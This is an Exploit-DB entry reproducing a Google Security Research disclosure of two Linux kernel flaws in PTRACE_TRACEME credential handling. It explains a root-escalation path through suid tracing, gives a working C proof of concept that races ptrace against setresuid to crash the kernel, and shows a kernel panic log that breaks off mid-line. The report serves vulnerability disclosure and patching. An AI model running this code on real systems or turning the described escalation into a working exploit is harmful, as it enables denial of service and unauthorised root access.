Exploit-DB #47133
Description: Linux - Broken Permission and Object Lifetime Handling for PTRACE_TRACEME
Type: local
Platform: linux
Date: 2019-07-17
Author: Google Security Research

Exploit:
== Summary ==
This bug report describes two issues introduced by commit 64b875f7ac8a ("ptrace:
Capture the ptracer's creds not PT_PTRACE_CAP", introduced in v4.10 but also
stable-backported to older versions). I will send a suggested patch in a minute
("ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME").

When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU reference
to the parent's objective credentials, then give that pointer to
get_cred(). However, the object lifetime rules for things like struct cred
do not permit unconditionally turning an RCU reference into a stable
reference.

PTRACE_TRACEME records the parent's credentials as if the parent was acting
as the subject, but that's not the case. If a malicious unprivileged child
uses PTRACE_TRACEME and the parent is privileged, and at a later point, the
parent process becomes attacker-controlled (because it drops privileges and
calls execve()), the attacker ends up with control over two processes with
a privileged ptrace relationship, which can be abused to ptrace a suid
binary and obtain root privileges.


== Long bug description ==
While I was trying to refactor the cred_guard_mutex logic, I stumbled over the
following issues:

ptrace relationships can be set up in two ways: Either the tracer attaches to
another process (PTRACE_ATTACH/PTRACE_SEIZE), or the tracee forces its parent to
attach to it (PTRACE_TRACEME).
When a tracee goes through a privilege-gaining execve(), the kernel checks
whether the ptrace relationship is privileged. If it is not, the
privilege-gaining effect of execve is suppressed.
The idea here is that a privileged tracer (e.g. if root runs "strace" on
some process) is allowed to trace through setuid/setcap execution, but an
unprivileged tracer must not be allowed to do that, since it could otherwise
inject arbitrary code into privileged processes.

In the PTRACE_ATTACH/PTRACE_SEIZE case, the tracer's credentials are recorded at
the time it calls PTRACE_ATTACH/PTRACE_SEIZE; later, when the tracee goes
through execve(), it is checked whether the recorded credentials are capable
over the tracee's user namespace.
But in the PTRACE_TRACEME case, the kernel also records _the tracer's_
credentials, even though the tracer is not requesting the operation. There are
two problems with that.


First, there is an object lifetime issue:
ptrace_traceme() -> ptrace_link() grabs __task_cred(new_parent) in an RCU
read-side critical section, then passes the creds to __ptrace_link(), which
calls get_cred() on them. If the parent concurrently switches its creds (e.g.
via setresuid()), the creds' refcount may already be zero, in which case
put_cred_rcu() will already have been scheduled. The kernel usually manages to
panic() before memory corruption occurs here using the following code in
put_cred_rcu(); however, I think memory corruption would also be possible if
this code races exactly the right way.

        if (atomic_read(&cred->usage) != 0)
                panic("CRED: put_cred_rcu() sees %p with usage %d\n",
                      cred, atomic_read(&cred->usage));

A simple PoC to trigger this bug:
============================
#define _GNU_SOURCE
#include <unistd.h>
#include <signal.h>
#include <sched.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/ptrace.h>

int grandchild_fn(void *dummy) {
  if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
    err(1, "traceme");
  return 0;
}

int main(void) {
  pid_t child = fork();
  if (child == -1) err(1, "fork");

  /* child */
  if (child == 0) {
    static char child_stack[0x100000];
    prctl(PR_SET_PDEATHSIG, SIGKILL);
    while (1) {
      if (clone(grandchild_fn, child_stack+sizeof(child_stack), CLONE_FILES|CLONE_FS|CLONE_IO|CLONE_PARENT|CLONE_VM|CLONE_SIGHAND|CLONE_SYSVSEM|CLONE_VFORK, NULL) == -1)
        err(1, "clone failed");
    }
  }

  /* parent */
  uid_t uid = getuid();
  while (1) {
    if (setresuid(uid, uid, uid)) err(1, "setresuid");
  }
}
============================

Result:
============================
[  484.576983] ------------[ cut here ]------------
[  484.580565] kernel BUG at kernel/cred.c:138!
[  484.585278] Kernel panic - not syncing: CRED: put_cred_rcu() sees 000000009e024125 with usage 1
[  484.589063] CPU: 1 PID: 1908 Comm: panic Not tainted 5.2.0-rc7 #431
[  484.592410] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[  484.595843] Call Trace:
[  484.598688]  <IRQ>
[  484.601451]  dump_stack+0x7c/0xbb
[...]
[  484.607349]  panic+0x188/0x39a
[...]
[  484.622650]  put_cred_rcu+0x112/0x120
[...]
[  484.628580]  rcu_core+0x664/0x1260
[...]
[  484.646675]  __do_softirq+0x11d/0x5dd
[  484.649523]  irq_exit+0xe3/0xf0
[  484.652374]  smp_apic_timer_interrupt+0x103/0x320
[  484.655293]  apic_timer_interrupt+0xf/0x20
[  484.658187]  </IRQ>
[  484.660928] RIP: 0010:do_error_trap+0x8d/0x110
[  484.664114] Code: da 4c 89 ee bf 08 00 00 00 e8 df a5 09 00 3d 01 80 00 00 74 54 48 8d bb 90 00 00 00 e8 cc 8e 29 00 f6 83 91 00 00 00 02 75 2b <4c> 89 7c 24 40 44 8b 4c 24 04 48 83 c4 08 4d 89 f0 48 89 d9 4c 89
[  484.669035] RSP: 0018:ffff8881ddf2fd58 EFLAGS: 00000246 ORIG_RAX: ffffffffffffff13
[  484.672784] RAX: [PII_REDACTED] RBX: ffff8881ddf2fdb8 RCX: ffffffff811144dd
[  484.676450] RDX: [PII_REDACTED] RSI: dffffc[PII_REDACTED] RDI: ffff8881eabc4bf4
[  484.680306] RBP: [PII_REDACTED] R08: fffffbfff0627a02 R09: [PII_REDACTED]
[  484.684033] R10: [PII_REDACTED] R11: [PII_REDACTED] R12: [PII_REDACTED]
[  484.687697] R13: ffffffff82618dc0 R14: [PII_REDACTED] R15: ffffffff810c99d5
[...]
[  484.700626]  do_invalid_op+0x31/0x40
[...]
[  484.707183]  invalid_op+0x14/0x20
[  484.710499] RIP: 0010:__put_cred+0x65/0x70
[  484.713598] Code: 48 8d bd 90 06 00 00 e8 49 e2 1f 00 48 3b 9d 90 06 00 00 74 19 48 8d bb 90 00 00 00 48 c7 c6 50 98 0c 81 5b 5d e9 ab 1f 08 00